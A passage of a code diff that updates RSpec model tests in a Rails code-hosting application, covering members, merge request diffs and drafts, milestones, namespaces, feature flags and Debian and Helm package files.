let(:user) { create(:user) }
diff --git a/spec/models/members/group_member_spec.rb b/spec/models/members/group_member_spec.rb
index 3a2db5d8516..8c942228059 100644
--- a/spec/models/members/group_member_spec.rb
+++ b/spec/models/members/group_member_spec.rb
@@ -37,6 +37,10 @@ RSpec.describe GroupMember do
end
end
+ describe 'delegations' do
+ it { is_expected.to delegate_method(:update_two_factor_requirement).to(:user).allow_nil }
+ end
+
describe '.access_level_roles' do
it 'returns Gitlab::Access.options_with_owner' do
expect(described_class.access_level_roles).to eq(Gitlab::Access.options_with_owner)
@@ -93,6 +97,18 @@ RSpec.describe GroupMember do
end
end
+ describe '#destroy' do
+ context 'for an orphaned member' do
+ let!(:orphaned_group_member) do
+ create(:group_member).tap { |member| member.update_column(:user_id, nil) }
+ end
+
+ it 'does not raise an error' do
+ expect { orphaned_group_member.destroy! }.not_to raise_error
+ end
+ end
+ end
+
describe '#after_accept_invite' do
it 'calls #update_two_factor_requirement' do
email = 'foo@email.com'
diff --git a/spec/models/members/last_group_owner_assigner_spec.rb b/spec/models/members/last_group_owner_assigner_spec.rb
index 3c9a7a11555..bb0f751e7d5 100644
--- a/spec/models/members/last_group_owner_assigner_spec.rb
+++ b/spec/models/members/last_group_owner_assigner_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Members::LastGroupOwnerAssigner do
+RSpec.describe LastGroupOwnerAssigner do
describe "#execute" do
let_it_be(:user, reload: true) { create(:user) }
let_it_be(:group) { create(:group) }
diff --git a/spec/models/members/project_member_spec.rb b/spec/models/members/project_member_spec.rb
index fa77e319c2c..b84b408cb4b 100644
--- a/spec/models/members/project_member_spec.rb
+++ b/spec/models/members/project_member_spec.rb
@@ -58,6 +58,16 @@ RSpec.describe ProjectMember do
maintainer.destroy!
expect(Event.recent.first).to be_left_action
end
+
+ context 'for an orphaned member' do
+ let!(:orphaned_project_member) do
+ owner.tap { |member| member.update_column(:user_id, nil) }
+ end
+
+ it 'does not raise an error' do
+ expect { orphaned_project_member.destroy! }.not_to raise_error
+ end
+ end
end
describe '.import_team' do
diff --git a/spec/models/merge_request_diff_spec.rb b/spec/models/merge_request_diff_spec.rb
index 4075eb96fc2..3741e01e99a 100644
--- a/spec/models/merge_request_diff_spec.rb
+++ b/spec/models/merge_request_diff_spec.rb
@@ -418,8 +418,8 @@ RSpec.describe MergeRequestDiff do
shared_examples_for 'fetching full diffs' do
it 'returns diffs from repository comparison' do
expect_next_instance_of(Compare) do |comparison|
- expect(comparison).to receive(:diffs_in_batch)
- .with(1, 10, diff_options: diff_options)
+ expect(comparison).to receive(:diffs)
+ .with(diff_options)
.and_call_original
end
@@ -448,13 +448,13 @@ RSpec.describe MergeRequestDiff do
end
it_behaves_like 'fetching full diffs'
- end
- context 'when diff_options include ignore_whitespace_change' do
- it_behaves_like 'fetching full diffs' do
+ context 'when diff_options include ignore_whitespace_change' do
let(:diff_options) do
{ ignore_whitespace_change: true }
end
+
+ it_behaves_like 'fetching full diffs'
end
end
@@ -485,6 +485,51 @@ RSpec.describe MergeRequestDiff do
'files/whitespace'
])
end
+
+ context 'when diff_options include ignore_whitespace_change' do
+ let(:diff_options) do
+ { ignore_whitespace_change: true }
+ end
+
+ it 'returns a Gitlab::Diff::FileCollection::Compare with paginated diffs' do
+ diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
+
+ expect(diffs).to be_a(Gitlab::Diff::FileCollection::Compare)
+ expect(diffs.diff_files.size).to eq 10
+ expect(diffs.pagination_data).to eq(current_page: 1, next_page: 2, total_pages: 2)
+ end
+
+ it 'returns an empty MergeRequestBatch with empty pagination data when the batch is empty' do
+ diffs = diff_with_commits.diffs_in_batch(3, 10, diff_options: diff_options)
+
+ expect(diffs).to be_a(Gitlab::Diff::FileCollection::MergeRequestDiffBatch)
+ expect(diffs.diff_files.size).to eq 0
+ expect(diffs.pagination_data).to eq(current_page: nil, next_page: nil, total_pages: nil)
+ end
+
+ context 'with gradual load enabled' do
+ before do
+ stub_feature_flags(diffs_gradual_load: true)
+ end
+
+ it 'returns pagination data from MergeRequestDiffBatch' do
+ diffs = diff_with_commits.diffs_in_batch(1, 10, diff_options: diff_options)
+ file_count = diff_with_commits.merge_request_diff_files.count
+
+ expect(diffs).to be_a(Gitlab::Diff::FileCollection::Compare)
+ expect(diffs.diff_files.size).to eq 10
+ expect(diffs.pagination_data).to eq(current_page: nil, next_page: nil, total_pages: file_count)
+ end
+
+ it 'returns an empty MergeRequestBatch with empty pagination data when the batch is empty' do
+ diffs = diff_with_commits.diffs_in_batch(30, 10, diff_options: diff_options)
+
+ expect(diffs).to be_a(Gitlab::Diff::FileCollection::MergeRequestDiffBatch)
+ expect(diffs.diff_files.size).to eq 0
+ expect(diffs.pagination_data).to eq(current_page: nil, next_page: nil, total_pages: nil)
+ end
+ end
+ end
end
end
diff --git a/spec/models/merge_request_spec.rb b/spec/models/merge_request_spec.rb
index a77ca1e9a51..94b4c1901b8 100644
--- a/spec/models/merge_request_spec.rb
+++ b/spec/models/merge_request_spec.rb
@@ -99,16 +99,17 @@ RSpec.describe MergeRequest, factory_default: :keep do
let_it_be(:merge_request1) { create(:merge_request, :unique_branches, reviewers: [user1])}
let_it_be(:merge_request2) { create(:merge_request, :unique_branches, reviewers: [user2])}
let_it_be(:merge_request3) { create(:merge_request, :unique_branches, reviewers: [])}
+ let_it_be(:merge_request4) { create(:merge_request, :draft_merge_request)}
describe '.review_requested' do
- it 'returns MRs that has any review requests' do
+ it 'returns MRs that have any review requests' do
expect(described_class.review_requested).to eq([merge_request1, merge_request2])
end
end
describe '.no_review_requested' do
- it 'returns MRs that has no review requests' do
- expect(described_class.no_review_requested).to eq([merge_request3])
+ it 'returns MRs that have no review requests' do
+ expect(described_class.no_review_requested).to eq([merge_request3, merge_request4])
end
end
@@ -119,8 +120,15 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
describe '.no_review_requested_to' do
- it 'returns MRs that the user has been requested to review' do
- expect(described_class.no_review_requested_to(user1)).to eq([merge_request2, merge_request3])
+ it 'returns MRs that the user has not been requested to review' do
+ expect(described_class.no_review_requested_to(user1))
+ .to eq([merge_request2, merge_request3, merge_request4])
+ end
+ end
+
+ describe '.drafts' do
+ it 'returns MRs where draft == true' do
+ expect(described_class.drafts).to eq([merge_request4])
end
end
end
@@ -296,7 +304,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
it 'does not create duplicated metrics records when MR is concurrently updated' do
- merge_request.metrics.destroy
+ merge_request.metrics.destroy!
instance1 = MergeRequest.find(merge_request.id)
instance2 = MergeRequest.find(merge_request.id)
@@ -317,6 +325,38 @@ RSpec.describe MergeRequest, factory_default: :keep do
expect(merge_request.target_project_id).to eq(merge_request.metrics.target_project_id)
end
end
+
+ describe '#set_draft_status' do
+ let(:merge_request) { create(:merge_request) }
+
+ context 'MR is a draft' do
+ before do
+ expect(merge_request.draft).to be_falsy
+
+ merge_request.title = "Draft: #{merge_request.title}"
+ end
+
+ it 'sets draft to true' do
+ merge_request.save!
+
+ expect(merge_request.draft).to be_truthy
+ end
+ end
+
+ context 'MR is not a draft' do
+ before do
+ expect(merge_request.draft).to be_falsey
+
+ merge_request.title = "This is not a draft"
+ end
+
+ it 'sets draft to true' do
+ merge_request.save!
+
+ expect(merge_request.draft).to be_falsey
+ end
+ end
+ end
end
describe 'respond to' do
@@ -347,7 +387,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
let(:sha) { 'b83d6e391c22777fca1ed3012fce84f633d7fed0' }
it 'returns empty requests' do
- latest_merge_request_diff = merge_request.merge_request_diffs.create
+ latest_merge_request_diff = merge_request.merge_request_diffs.create!
MergeRequestDiffCommit.where(
merge_request_diff_id: latest_merge_request_diff,
@@ -459,7 +499,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
}
create(:merge_request, params).tap do |mr|
- diffs.times { mr.merge_request_diffs.create }
+ diffs.times { mr.merge_request_diffs.create! }
mr.create_merge_head_diff
end
end
@@ -891,7 +931,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'when there are MR diffs' do
it 'delegates to the MR diffs' do
- merge_request.save
+ merge_request.save!
expect(merge_request.merge_request_diff).to receive(:raw_diffs).with(hash_including(options)).and_call_original
@@ -1036,20 +1076,20 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'when there are MR diffs' do
it 'returns the correct count' do
- merge_request.save
+ merge_request.save!
expect(merge_request.diff_size).to eq('105')
end
it 'returns the correct overflow count' do
allow(Commit).to receive(:max_diff_options).and_return(max_files: 2)
- merge_request.save
+ merge_request.save!
expect(merge_request.diff_size).to eq('2+')
end
it 'does not perform highlighting' do
- merge_request.save
+ merge_request.save!
expect(Gitlab::Diff::Highlight).not_to receive(:new)
@@ -1470,7 +1510,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
it "can't remove a root ref" do
- subject.update(source_branch: 'master', target_branch: 'feature')
+ subject.update!(source_branch: 'master', target_branch: 'feature')
expect(subject.can_remove_source_branch?(user)).to be_falsey
end
@@ -2501,7 +2541,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'with a completely different branch' do
before do
- subject.update(target_branch: 'csv')
+ subject.update!(target_branch: 'csv')
end
it_behaves_like 'returning all SHA'
@@ -2509,7 +2549,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'with a branch having no difference' do
before do
- subject.update(target_branch: 'branch-merged')
+ subject.update!(target_branch: 'branch-merged')
subject.reload # make sure commits were not cached
end
@@ -3207,7 +3247,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'and a failed pipeline is associated' do
before do
- pipeline.update(status: 'failed', sha: subject.diff_head_sha)
+ pipeline.update!(status: 'failed', sha: subject.diff_head_sha)
allow(subject).to receive(:head_pipeline) { pipeline }
end
@@ -3216,7 +3256,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'and a successful pipeline is associated' do
before do
- pipeline.update(status: 'success', sha: subject.diff_head_sha)
+ pipeline.update!(status: 'success', sha: subject.diff_head_sha)
allow(subject).to receive(:head_pipeline) { pipeline }
end
@@ -3225,7 +3265,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
context 'and a skipped pipeline is associated' do
before do
- pipeline.update(status: 'skipped', sha: subject.diff_head_sha)
+ pipeline.update!(status: 'skipped', sha: subject.diff_head_sha)
allow(subject).to receive(:head_pipeline).and_return(pipeline)
end
@@ -3530,7 +3570,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
before do
# Update merge_request_diff so that #diff_refs will return commit.diff_refs
allow(subject).to receive(:create_merge_request_diff) do
- subject.merge_request_diffs.create(
+ subject.merge_request_diffs.create!(
base_commit_sha: commit.parent_id,
start_commit_sha: commit.parent_id,
head_commit_sha: commit.sha
@@ -3800,7 +3840,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
end
it 'returns false if the merge request is merged' do
- merge_request.update(state: 'merged')
+ merge_request.update!(state: 'merged')
expect(merge_request.reload.reopenable?).to be_falsey
end
@@ -3880,14 +3920,6 @@ RSpec.describe MergeRequest, factory_default: :keep do
let(:service_class) { 'Ci::CompareMetricsReportsService' }
it { is_expected.to be_truthy }
-
- context 'with the metrics report flag disabled' do
- before do
- stub_feature_flags(merge_base_pipeline_for_metrics_comparison: false)
- end
-
- it { is_expected.to be_falsey }
- end
end
context 'when service class is Ci::CompareCodequalityReportsService' do
@@ -4029,9 +4061,9 @@ RSpec.describe MergeRequest, factory_default: :keep do
subject { create(:merge_request, importing: true, source_project: project) }
- let!(:merge_request_diff1) { subject.merge_request_diffs.create(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
- let!(:merge_request_diff2) { subject.merge_request_diffs.create(head_commit_sha: nil) }
- let!(:merge_request_diff3) { subject.merge_request_diffs.create(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e') }
+ let!(:merge_request_diff1) { subject.merge_request_diffs.create!(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
+ let!(:merge_request_diff2) { subject.merge_request_diffs.create!(head_commit_sha: nil) }
+ let!(:merge_request_diff3) { subject.merge_request_diffs.create!(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e') }
context 'with diff refs' do
it 'returns the diffs' do
@@ -4062,9 +4094,9 @@ RSpec.describe MergeRequest, factory_default: :keep do
subject { create(:merge_request, importing: true, source_project: project) }
- let!(:merge_request_diff1) { subject.merge_request_diffs.create(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
- let!(:merge_request_diff2) { subject.merge_request_diffs.create(head_commit_sha: nil) }
- let!(:merge_request_diff3) { subject.merge_request_diffs.create(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e') }
+ let!(:merge_request_diff1) { subject.merge_request_diffs.create!(head_commit_sha: '6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9') }
+ let!(:merge_request_diff2) { subject.merge_request_diffs.create!(head_commit_sha: nil) }
+ let!(:merge_request_diff3) { subject.merge_request_diffs.create!(head_commit_sha: '5937ac0a7beb003549fc5fd26fc247adbce4a52e') }
context 'when the diff refs are for an older merge request version' do
let(:diff_refs) { merge_request_diff1.diff_refs }
@@ -4108,7 +4140,7 @@ RSpec.describe MergeRequest, factory_default: :keep do
it 'refreshes the number of open merge requests of the target project' do
project = subject.target_project
- expect { subject.destroy }
+ expect { subject.destroy! }
.to change { project.open_merge_requests_count }.from(1).to(0)
end
end
@@ -4874,7 +4906,6 @@ RSpec.describe MergeRequest, factory_default: :keep do
subject { merge_request.enabled_reports[report_type] }
before do
- stub_feature_flags(drop_license_management_artifact: false)
stub_licensed_features({ feature => true })
end
diff --git a/spec/models/milestone_spec.rb b/spec/models/milestone_spec.rb
index 20dee288052..7cf7c360dff 100644
--- a/spec/models/milestone_spec.rb
+++ b/spec/models/milestone_spec.rb
@@ -8,7 +8,46 @@ RSpec.describe Milestone do
let(:milestone) { create(:milestone, project: project) }
let(:project) { create(:project, :public) }
- it_behaves_like 'a timebox', :milestone
+ it_behaves_like 'a timebox', :milestone do
+ describe "#uniqueness_of_title" do
+ context "per project" do
+ it "does not accept the same title in a project twice" do
+ new_timebox = timebox.dup
+ expect(new_timebox).not_to be_valid
+ end
+
+ it "accepts the same title in another project" do
+ project = create(:project)
+ new_timebox = timebox.dup
+ new_timebox.project = project
+
+ expect(new_timebox).to be_valid
+ end
+ end
+
+ context "per group" do
+ let(:timebox) { create(:milestone, *timebox_args, group: group) }
+
+ before do
+ project.update!(group: group)
+ end
+
+ it "does not accept the same title in a group twice" do
+ new_timebox = described_class.new(group: group, title: timebox.title)
+
+ expect(new_timebox).not_to be_valid
+ end
+
+ it "does not accept the same title of a child project timebox" do
+ create(:milestone, *timebox_args, project: group.projects.first)
+
+ new_timebox = described_class.new(group: group, title: timebox.title)
+
+ expect(new_timebox).not_to be_valid
+ end
+ end
+ end
+ end
describe 'MilestoneStruct#serializable_hash' do
let(:predefined_milestone) { described_class::TimeboxStruct.new('Test Milestone', '#test', 1) }
@@ -158,7 +197,7 @@ RSpec.describe Milestone do
it 'returns false if milestone active and not all nested issues closed' do
issue.milestone = milestone
- issue.save
+ issue.save!
expect(milestone.can_be_closed?).to be_falsey
end
diff --git a/spec/models/namespace_spec.rb b/spec/models/namespace_spec.rb
index 56afe49e15f..2c514593de8 100644
--- a/spec/models/namespace_spec.rb
+++ b/spec/models/namespace_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Namespace do
include ProjectForksHelper
include GitHelpers
+ include ReloadHelpers
let!(:namespace) { create(:namespace, :with_namespace_settings) }
let(:gitlab_shell) { Gitlab::Shell.new }
@@ -199,6 +200,8 @@ RSpec.describe Namespace do
it { is_expected.to include_module(Namespaces::Traversal::Linear) }
end
+ it_behaves_like 'linear namespace traversal'
+
context 'traversal_ids on create' do
context 'default traversal_ids' do
let(:namespace) { build(:namespace) }
@@ -804,9 +807,9 @@ RSpec.describe Namespace do
end
it 'updates the project storage location' do
- repository_project_in_parent_group = create(:project_repository, project: project_in_parent_group)
- repository_hashed_project_in_subgroup = create(:project_repository, project: hashed_project_in_subgroup)
- repository_legacy_project_in_subgroup = create(:project_repository, project: legacy_project_in_subgroup)
+ repository_project_in_parent_group = project_in_parent_group.project_repository
+ repository_hashed_project_in_subgroup = hashed_project_in_subgroup.project_repository
+ repository_legacy_project_in_subgroup = legacy_project_in_subgroup.project_repository
parent.update(path: 'mygroup_moved')
@@ -1010,47 +1013,52 @@ RSpec.describe Namespace do
end
end
- describe '#all_projects' do
+ shared_examples '#all_projects' do
context 'when namespace is a group' do
- let(:namespace) { create(:group) }
- let(:child) { create(:group, parent: namespace) }
- let!(:project1) { create(:project_empty_repo, namespace: namespace) }
- let!(:project2) { create(:project_empty_repo, namespace: child) }
+ let_it_be(:namespace) { create(:group) }
+ let_it_be(:child) { create(:group, parent: namespace) }
+ let_it_be(:project1) { create(:project_empty_repo, namespace: namespace) }
+ let_it_be(:project2) { create(:project_empty_repo, namespace: child) }
+ let_it_be(:other_project) { create(:project_empty_repo) }
+
+ before do
+ reload_models(namespace, child)
+ end
it { expect(namespace.all_projects.to_a).to match_array([project2, project1]) }
it { expect(child.all_projects.to_a).to match_array([project2]) }
-
- it 'queries for the namespace and its descendants' do
- expect(Project).to receive(:where).with(namespace: [namespace, child])
-
- namespace.all_projects
- end
end
context 'when namespace is a user namespace' do
let_it_be(:user) { create(:user) }
let_it_be(:user_namespace) { create(:namespace, owner: user) }
let_it_be(:project) { create(:project, namespace: user_namespace) }
+ let_it_be(:other_project) { create(:project_empty_repo) }
- it { expect(user_namespace.all_projects.to_a).to match_array([project]) }
+ before do
+ reload_models(user_namespace)
+ end
- it 'only queries for the namespace itself' do
- expect(Project).to receive(:where).with(namespace: user_namespace)
+ it { expect(user_namespace.all_projects.to_a).to match_array([project]) }
+ end
+ end
- user_namespace.all_projects
+ describe '#all_projects' do
+ context 'with use_traversal_ids feature flag enabled' do
+ before do
+ stub_feature_flags(use_traversal_ids: true)
end
+
+ include_examples '#all_projects'
end
- end
- describe '#all_pipelines' do
- let(:group) { create(:group) }
- let(:child) { create(:group, parent: group) }
- let!(:project1) { create(:project_empty_repo, namespace: group) }
- let!(:project2) { create(:project_empty_repo, namespace: child) }
- let!(:pipeline1) { create(:ci_empty_pipeline, project: project1) }
- let!(:pipeline2) { create(:ci_empty_pipeline, project: project2) }
+ context 'with use_traversal_ids feature flag disabled' do
+ before do
+ stub_feature_flags(use_traversal_ids: false)
+ end
- it { expect(group.all_pipelines.to_a).to match_array([pipeline1, pipeline2]) }
+ include_examples '#all_projects'
+ end
end
describe '#share_with_group_lock with subgroups' do
@@ -1379,36 +1387,14 @@ RSpec.describe Namespace do
describe '#pages_virtual_domain' do
let(:project) { create(:project, namespace: namespace) }
- context 'when there are pages deployed for the project' do
- context 'but pages metadata is not migrated' do
- before do
- generic_commit_status = create(:generic_commit_status, :success, stage: 'deploy', name: 'pages:deploy')
- generic_commit_status.update!(project: project)
- project.pages_metadatum.destroy!
- end
-
- it 'migrates pages metadata and returns the virual domain' do
- virtual_domain = namespace.pages_virtual_domain
+ it 'returns the virual domain' do
+ project.mark_pages_as_deployed
+ project.update_pages_deployment!(create(:pages_deployment, project: project))
- expect(project.reload.pages_metadatum.deployed).to eq(true)
+ virtual_domain = namespace.pages_virtual_domain
- expect(virtual_domain).to be_an_instance_of(Pages::VirtualDomain)
- expect(virtual_domain.lookup_paths).not_to be_empty
- end
- end
-
- context 'and pages metadata is migrated' do
- before do
- project.mark_pages_as_deployed
- end
-
- it 'returns the virual domain' do
- virtual_domain = namespace.pages_virtual_domain
-
- expect(virtual_domain).to be_an_instance_of(Pages::VirtualDomain)
- expect(virtual_domain.lookup_paths).not_to be_empty
- end
- end
+ expect(virtual_domain).to be_an_instance_of(Pages::VirtualDomain)
+ expect(virtual_domain.lookup_paths).not_to be_empty
end
end
diff --git a/spec/models/note_spec.rb b/spec/models/note_spec.rb
index 4eabc266b40..d9f566f9383 100644
--- a/spec/models/note_spec.rb
+++ b/spec/models/note_spec.rb
@@ -1522,4 +1522,16 @@ RSpec.describe Note do
it { is_expected.to be_truthy }
end
end
+
+ describe '#attachment' do
+ it 'is cleaned up correctly when project is destroyed' do
+ note = create(:note_on_issue, :with_attachment)
+
+ attachment = note.attachment
+
+ note.project.destroy!
+
+ expect(attachment).not_to be_exist
+ end
+ end
end
diff --git a/spec/models/onboarding_progress_spec.rb b/spec/models/onboarding_progress_spec.rb
index 779312c9fa0..deac8d29196 100644
--- a/spec/models/onboarding_progress_spec.rb
+++ b/spec/models/onboarding_progress_spec.rb
@@ -211,4 +211,26 @@ RSpec.describe OnboardingProgress do
it { is_expected.to eq(:subscription_created_at) }
end
+
+ describe '#number_of_completed_actions' do
+ subject { build(:onboarding_progress, actions.map { |x| { x => Time.current } }.inject(:merge)).number_of_completed_actions }
+
+ context '0 completed actions' do
+ let(:actions) { [:created_at, :updated_at] }
+
+ it { is_expected.to eq(0) }
+ end
+
+ context '1 completed action' do
+ let(:actions) { [:created_at, :subscription_created_at] }
+
+ it { is_expected.to eq(1) }
+ end
+
+ context '2 completed actions' do
+ let(:actions) { [:subscription_created_at, :git_write_at] }
+
+ it { is_expected.to eq(2) }
+ end
+ end
end
diff --git a/spec/models/operations/feature_flag_scope_spec.rb b/spec/models/operations/feature_flag_scope_spec.rb
index 29d338d8b29..dc83789fade 100644
--- a/spec/models/operations/feature_flag_scope_spec.rb
+++ b/spec/models/operations/feature_flag_scope_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Operations::FeatureFlagScope do
end
context 'when environment scope of a default scope is updated' do
- let!(:feature_flag) { create(:operations_feature_flag) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag) }
let!(:scope_default) { feature_flag.default_scope }
it 'keeps default scope intact' do
@@ -41,7 +41,7 @@ RSpec.describe Operations::FeatureFlagScope do
end
context 'when a default scope is destroyed' do
- let!(:feature_flag) { create(:operations_feature_flag) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag) }
let!(:scope_default) { feature_flag.default_scope }
it 'prevents from destroying the default scope' do
diff --git a/spec/models/operations/feature_flag_spec.rb b/spec/models/operations/feature_flag_spec.rb
index d5b3c7a8582..55682e12642 100644
--- a/spec/models/operations/feature_flag_spec.rb
+++ b/spec/models/operations/feature_flag_spec.rb
@@ -181,7 +181,7 @@ RSpec.describe Operations::FeatureFlag do
end
context 'when the feature flag is active and all scopes are inactive' do
- let!(:feature_flag) { create(:operations_feature_flag, active: true) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag, active: true) }
it 'returns the flag' do
feature_flag.default_scope.update!(active: false)
@@ -199,7 +199,7 @@ RSpec.describe Operations::FeatureFlag do
end
context 'when the feature flag is inactive and all scopes are active' do
- let!(:feature_flag) { create(:operations_feature_flag, active: false) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag, active: false) }
it 'does not return the flag' do
feature_flag.default_scope.update!(active: true)
@@ -221,7 +221,7 @@ RSpec.describe Operations::FeatureFlag do
end
context 'when the feature flag is active and all scopes are inactive' do
- let!(:feature_flag) { create(:operations_feature_flag, active: true) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag, active: true) }
it 'does not return the flag' do
feature_flag.default_scope.update!(active: false)
@@ -239,7 +239,7 @@ RSpec.describe Operations::FeatureFlag do
end
context 'when the feature flag is inactive and all scopes are active' do
- let!(:feature_flag) { create(:operations_feature_flag, active: false) }
+ let!(:feature_flag) { create(:operations_feature_flag, :legacy_flag, active: false) }
it 'returns the flag' do
feature_flag.default_scope.update!(active: true)
diff --git a/spec/models/packages/debian/file_entry_spec.rb b/spec/models/packages/debian/file_entry_spec.rb
index 7aa16bc0cce..e981adf69bc 100644
--- a/spec/models/packages/debian/file_entry_spec.rb
+++ b/spec/models/packages/debian/file_entry_spec.rb
@@ -7,11 +7,11 @@ RSpec.describe Packages::Debian::FileEntry, type: :model do
let(:filename) { 'sample_1.2.3~alpha2.dsc' }
let(:size) { 671 }
- let(:md5sum) { '3b0817804f669e16cdefac583ad88f0e' }
+ let(:md5sum) { package_file.file_md5 }
let(:section) { 'libs' }
let(:priority) { 'optional' }
- let(:sha1sum) { '32ecbd674f0bfd310df68484d87752490685a8d6' }
- let(:sha256sum) { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba' }
+ let(:sha1sum) { package_file.file_sha1 }
+ let(:sha256sum) { package_file.file_sha256 }
let(:file_entry) do
described_class.new(
@@ -42,7 +42,7 @@ RSpec.describe Packages::Debian::FileEntry, type: :model do
describe '#md5sum' do
it { is_expected.to validate_presence_of(:md5sum) }
- it { is_expected.not_to allow_value('12345678901234567890123456789012').for(:md5sum).with_message('mismatch for sample_1.2.3~alpha2.dsc: 3b0817804f669e16cdefac583ad88f0e != 12345678901234567890123456789012') }
+ it { is_expected.not_to allow_value('12345678901234567890123456789012').for(:md5sum).with_message("mismatch for sample_1.2.3~alpha2.dsc: #{package_file.file_md5} != 12345678901234567890123456789012") }
end
describe '#section' do
@@ -55,12 +55,12 @@ RSpec.describe Packages::Debian::FileEntry, type: :model do
describe '#sha1sum' do
it { is_expected.to validate_presence_of(:sha1sum) }
- it { is_expected.not_to allow_value('1234567890123456789012345678901234567890').for(:sha1sum).with_message('mismatch for sample_1.2.3~alpha2.dsc: 32ecbd674f0bfd310df68484d87752490685a8d6 != 1234567890123456789012345678901234567890') }
+ it { is_expected.not_to allow_value('1234567890123456789012345678901234567890').for(:sha1sum).with_message("mismatch for sample_1.2.3~alpha2.dsc: #{package_file.file_sha1} != 1234567890123456789012345678901234567890") }
end
describe '#sha256sum' do
it { is_expected.to validate_presence_of(:sha256sum) }
- it { is_expected.not_to allow_value('1234567890123456789012345678901234567890123456789012345678901234').for(:sha256sum).with_message('mismatch for sample_1.2.3~alpha2.dsc: 844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba != 1234567890123456789012345678901234567890123456789012345678901234') }
+ it { is_expected.not_to allow_value('1234567890123456789012345678901234567890123456789012345678901234').for(:sha256sum).with_message("mismatch for sample_1.2.3~alpha2.dsc: #{package_file.file_sha256} != 1234567890123456789012345678901234567890123456789012345678901234") }
end
describe '#package_file' do
diff --git a/spec/models/packages/debian/group_distribution_key_spec.rb b/spec/models/packages/debian/group_distribution_key_spec.rb
new file mode 100644
index 00000000000..9ba163012b0
--- /dev/null
+++ b/spec/models/packages/debian/group_distribution_key_spec.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Debian::GroupDistributionKey do
+ it_behaves_like 'Debian Distribution Key', :group
+end
diff --git a/spec/models/packages/debian/project_distribution_key_spec.rb b/spec/models/packages/debian/project_distribution_key_spec.rb
new file mode 100644
index 00000000000..3dd723423f1
--- /dev/null
+++ b/spec/models/packages/debian/project_distribution_key_spec.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Debian::ProjectDistributionKey do
+ it_behaves_like 'Debian Distribution Key', :project
+end
diff --git a/spec/models/packages/package_file_spec.rb b/spec/models/packages/package_file_spec.rb
index f8ddd59ddc8..7f2f22c815c 100644
--- a/spec/models/packages/package_file_spec.rb
+++ b/spec/models/packages/package_file_spec.rb
@@ -116,6 +116,22 @@ RSpec.describe Packages::PackageFile, type: :model do
end
end
+ describe '.for_helm_with_channel' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:non_helm_package) { create(:nuget_package, project: project, package_type: :nuget) }
+ let_it_be(:helm_package1) { create(:helm_package, project: project, package_type: :helm) }
+ let_it_be(:helm_package2) { create(:helm_package, project: project, package_type: :helm) }
+ let_it_be(:channel) { 'some-channel' }
+
+ let_it_be(:non_helm_file) { create(:package_file, :nuget, package: non_helm_package) }
+ let_it_be(:helm_file1) { create(:helm_package_file, package: helm_package1) }
+ let_it_be(:helm_file2) { create(:helm_package_file, package: helm_package2, channel: channel) }
+
+ it 'returns the matching file only for Helm packages' do
+ expect(described_class.for_helm_with_channel(project, channel)).to contain_exactly(helm_file2)
+ end
+ end
+
describe '#update_file_store callback' do
let_it_be(:package_file) { build(:package_file, :nuget, size: nil) }
diff --git a/spec/models/packages/package_spec.rb b/spec/models/packages/package_spec.rb
index 52ef61e3d44..1e44327c089 100644
--- a/spec/models/packages/package_spec.rb
+++ b/spec/models/packages/package_spec.rb
@@ -404,7 +404,8 @@ RSpec.describe Packages::Package, type: :model do
it { is_expected.not_to allow_value(nil).for(:version) }
it { is_expected.not_to allow_value('').for(:version) }
it { is_expected.to allow_value('v1.2.3').for(:version) }
- it { is_expected.not_to allow_value('1.2.3').for(:version) }
+ it { is_expected.to allow_value('1.2.3').for(:version) }
+ it { is_expected.not_to allow_value('v1.2').for(:version) }
end
it_behaves_like 'validating version to be SemVer compliant for', :npm_package
@@ -729,6 +730,38 @@ RSpec.describe Packages::Package, type: :model do
end
end
+ context 'sorting' do
+ let_it_be(:project) { create(:project, name: 'aaa' ) }
+ let_it_be(:project2) { create(:project, name: 'bbb' ) }
+ let_it_be(:package1) { create(:package, project: project ) }
+ let_it_be(:package2) { create(:package, project: project2 ) }
+ let_it_be(:package3) { create(:package, project: project2 ) }
+ let_it_be(:package4) { create(:package, project: project ) }
+
+ it 'orders packages by their projects name ascending' do
+ expect(Packages::Package.order_project_name).to eq([package1, package4, package2, package3])
+ end
+
+ it 'orders packages by their projects name descending' do
+ expect(Packages::Package.order_project_name_desc).to eq([package2, package3, package1, package4])
+ end
+
+ shared_examples 'order_project_path scope' do
